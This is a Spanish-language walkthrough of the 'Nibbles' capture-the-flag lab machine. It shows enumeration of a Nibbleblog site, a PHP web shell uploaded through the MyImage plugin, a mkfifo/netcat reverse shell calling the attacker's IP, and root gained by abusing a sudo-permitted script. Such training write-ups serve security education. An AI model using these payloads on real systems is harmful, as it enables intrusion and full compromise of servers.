# Nibbles

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.129.12.162
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGNgtTSyzm31R7PTGcPMv%2Fimage.png?alt=media&#x26;token=7e027bdd-2de9-40bc-97b6-65ceee2edf3f" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.12.162 
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FX5xpvYGHmjIUAaPE0P3I%2Fimage.png?alt=media&#x26;token=2bc690e6-838f-42a5-90ec-a40d39eac958" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 10.129.12.162
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOPeBfWBUONbYtQPGMTdo%2Fimage.png?alt=media&#x26;token=f49c8dc2-17b1-4b8e-a93f-e8bf8e67eb05" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web nos salga un mensaje.\
![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FiArHVyKlmgjQ8KpipQ45%2Fimage.png?alt=media\&token=daf59400-4730-468f-9ffb-db8b2f7daa0e)

Revisamos el código por si hay alguna información relevante.<br>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FeYRWKvhp2sxdwIb06URA%2Fimage.png?alt=media&#x26;token=58585883-2414-48e6-a9b4-a19f65916d75" alt=""><figcaption></figcaption></figure>

Nos muestra un directorio por lo que indagaremos ahí.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FM24Ejl0alvidESwIiICG%2Fimage.png?alt=media&#x26;token=2ec4dd3d-25c3-49c4-97f5-925db45a6812" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://10.129.12.162/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFBsM5D2bK6ZScw4MfzLb%2Fimage.png?alt=media&#x26;token=b88ffd8d-07a9-4dc2-8638-7a6de642d72e" alt=""><figcaption></figcaption></figure>

Hay dos archivos interesantes como `admin.php` y `README`.

```bash
curl http://10.129.12.162/nibbleblog/README
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fms7kl7ZLlQxyPBIor5Nq%2Fimage.png?alt=media&#x26;token=a7d77dcd-d7fc-4796-b9fb-5f841a335df6" alt=""><figcaption></figcaption></figure>

Hemos confirmado que la versión **4.0.3** está en uso, lo que sugiere que es probable que sea vulnerable al módulo de **Metasploit** (aunque podría tratarse de una página antigua del README). No observamos nada más relevante. Ahora, revisemos la página de inicio de sesión del portal de administración.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FSbTnLT8EzqvCChX7RUlt%2FCaptura%20de%20pantalla%202024-09-07%20095935.png?alt=media&#x26;token=3b3435c6-4c88-4e15-8a0b-7bd6f941da7b" alt=""><figcaption></figcaption></figure>

Para usar el **exploit** mencionado, necesitaremos credenciales de administrador válidas. Probamos técnicas de omisión de autenticación y combinaciones comunes como **admin** y **admin**, sin éxito. Hay una opción para restablecer la contraseña, pero da un error de correo. Además, demasiados intentos rápidos activan un bloqueo con el mensaje **"Nibbleblog security error - Blacklist protection"**.

Volvamos a nuestros resultados de fuerza bruta en el directorio. Los códigos **200** muestran páginas accesibles, los **403** indican acceso prohibido y el **301** es una redirección permanente. Navegamos a **nibbleblog/themes/** y vemos que el listado de directorios está habilitado.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDNZ0xCWqa6rDRFuswC41%2Fimage.png?alt=media&#x26;token=2db00462-1a2f-4f9d-92bc-6c2339dcaaa5" alt=""><figcaption></figcaption></figure>

Al navegar a **nibbleblog/content**, encontramos subdirectorios interesantes: public, private y tmp. Explorando un poco, encontramos un archivo **users.xml** que confirma que el nombre de usuario es **admin**. También muestra direcciones IP en la lista negra. Podemos solicitar este archivo con **cURL** y formatear la salida **XML** usando **xmllint**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEgyeCgUMZmPGX7z2GfQM%2Fimage.png?alt=media&#x26;token=92e8eb3d-368f-4c1e-ac3c-88990d7eb208" alt=""><figcaption></figcaption></figure>

Confirmamos que **admin** es el usuario.

No hay otros puertos abiertos y no encontramos más directorios. Podemos confirmarlo realizando fuerza bruta adicional en directorios contra la raíz de la aplicación web.

```bash
gobuster dir -u http://10.129.12.162/ --wordlist /usr/share/dirb/wordlists/common.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F26EqMCxYYNAYbTQYJLto%2Fimage.png?alt=media&#x26;token=8155f55f-d382-4dbb-972a-e35b42ab311f" alt=""><figcaption></figcaption></figure>

Al revisar nuevamente todos los directorios expuestos, encontramos un archivo **config.xml**.

```bash
curl -s http://10.129.12.162/nibbleblog/content/private/config.xml | xmllint --format -
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6VqA2Iw5jA6iysaJ2xAk%2Fimage.png?alt=media&#x26;token=c92d1a5c-a6fb-4db5-b4fa-4afe7ce6ad29" alt=""><figcaption></figcaption></figure>

Al revisar el archivo, esperamos encontrar contraseñas, pero no obtenemos resultados. Sin embargo, vemos dos menciones de "**nibbles**" en el título del sitio y en la dirección de correo de notificación. Este también es el nombre de la máquina.&#x20;

Al realizar cracking de contraseñas offline con una herramienta como **Hashcat** o al intentar adivinar una contraseña, es importante considerar toda la información disponible. No es raro descifrar una contraseña (como la de la red inalámbrica de una empresa) usando una lista de palabras generada al rastrear su sitio web con una herramienta como **CeWL**.

```bash
cewl http://10.129.12.162/nibbleblog -w wordlist.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FA5GNQICIn3DxPOja6BnQ%2Fimage.png?alt=media&#x26;token=a7259a8b-8368-44d0-af5b-e7c7dcc457c0" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Intentemos usar el plugin **MyImage** para cargar un fragmento de código **PHP** en lugar de una imagen. El siguiente fragmento se puede usar para probar la ejecución de código.

```bash
<?php system('id'); ?>
```

Ahora tenemos que averiguar dónde se subió el archivo si la carga fue exitosa. Volviendo a los resultados de fuerza bruta en los directorios, recordamos el directorio `/content`. Dentro de este, hay un directorio `plugins` y otro subdirectorio llamado `my_image`. La ruta completa es `http://<host>/nibbleblog/content/private/plugins/my_image/`. En este directorio, vemos dos archivos, `db.xml` e `image.php`, con una fecha de última modificación reciente, ¡lo que significa que nuestra carga fue exitosa! Ahora vamos a verificar si tenemos ejecución de comandos.

```bash
curl http://10.129.12.162/nibbleblog/content/private/plugins/my_image/image.php
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FsgTEXqqpHUhJru07Bk6b%2Fimage.png?alt=media&#x26;token=84361207-ac4f-4503-8304-3818d652e1e4" alt=""><figcaption></figcaption></figure>

Parece que hemos obtenido ejecución remota de código en el servidor web, y el servidor Apache se está ejecutando en el contexto del usuario `nibbler`. Vamos a modificar nuestro archivo PHP para obtener una shell inversa y comenzar a explorar el servidor.

Vamos a editar nuestro archivo PHP local y subirlo nuevamente. Este comando debería proporcionarnos una shell inversa. Como se mencionó anteriormente en el Módulo, existen muchas hojas de trucos para shells inversas. Algunas muy buenas son [PayloadAllTheThings ](https://github.com/swisskyrepo/PayloadsAllTheThings)entre otras.

Utilicemos el siguiente one-liner de Bash para la shell inversa y añádelo a nuestro script PHP.

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f
```

```bash
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.47 443 >/tmp/f"); ?>
```

```bash
nc -lvnp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIcxHnShc170S0DaMQoFB%2Fimage.png?alt=media&#x26;token=3977bce5-9905-4227-b18c-62bfafd0c8ae" alt=""><figcaption></figcaption></figure>

Pinchamos en el fichero image.php.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBGu92W7fXzGQtn3VS1JF%2Fimage.png?alt=media&#x26;token=3939e55b-b54a-4c9d-9ccc-d0c14cd31015" alt=""><figcaption></figcaption></figure>

Tenemos Python3, lo cual nos permite obtener una shell más amigable escribiendo `python3 -c 'import pty; pty.spawn("/bin/bash")'`. Al navegar a `/home/nibbler`, encontramos la bandera `user.txt` así como un archivo zip llamado `personal.zip`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FsUMBzQ3JAOsALdy9fBdS%2Fimage.png?alt=media&#x26;token=6436a80f-acf0-42f7-a4f8-7a0be34c9101" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5BglmRc94w1CXZwskOAK%2Fimage.png?alt=media&#x26;token=2927cfc6-e1a5-42c6-950a-71fce3feb540" alt=""><figcaption></figcaption></figure>

Si accedemos a esa ruta, veremos que no existe. Por lo tanto, necesitaremos crear el directorio y el archivo:

```bash
cd /home/nibbler
mkdir -p personal/stuff
cd personal/stuff
echo "/bin/bash" > monitor.sh
chmod +x monitor.sh
sudo ./monitor.sh
```

Con estos pasos, obtendremos acceso root. Luego, al ir a `/root/root.txt`, podremos ver la bandera ROOT.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnwOHpEBgewvHFH1SkWZP%2Fimage.png?alt=media&#x26;token=72e7975b-4c40-4681-bf87-50430c4fcab6" alt=""><figcaption></figcaption></figure>
